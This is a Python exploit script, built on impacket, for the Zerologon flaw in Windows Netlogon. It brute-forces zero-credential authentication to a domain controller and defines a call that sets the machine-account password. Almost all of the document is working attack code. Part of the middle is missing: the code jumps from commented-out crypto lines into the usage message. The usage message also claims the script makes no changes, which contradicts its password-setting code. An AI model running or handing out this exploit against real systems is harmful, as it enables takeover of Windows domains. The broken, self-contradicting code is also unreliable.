#!/usr/bin/env python3 from impacket.dcerpc.v5 import nrpc, epm from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport from impacket import crypto from impacket.dcerpc.v5.ndr import NDRCALL import impacket import hmac, hashlib, struct, sys, socket, time from binascii import hexlify, unhexlify from subprocess import check_call from Cryptodome.Cipher import DES, AES, ARC4 from struct import pack, unpack # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. MAX_ATTEMPTS = 2000 # False negative chance: 0.04% class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',nrpc.WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',nrpc.WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(nrpc.NDRCALL): structure = ( ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode',nrpc.NTSTATUS), ) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def fail(msg): print(msg, file=sys.stderr) print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) sys.exit(2) def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV=b'\x00'*16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack(' \n') print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.') print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.') sys.exit(1) else: [_, dc_name, dc_ip, originalpw] = sys.argv dc_name = dc_name.rstrip('$') perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)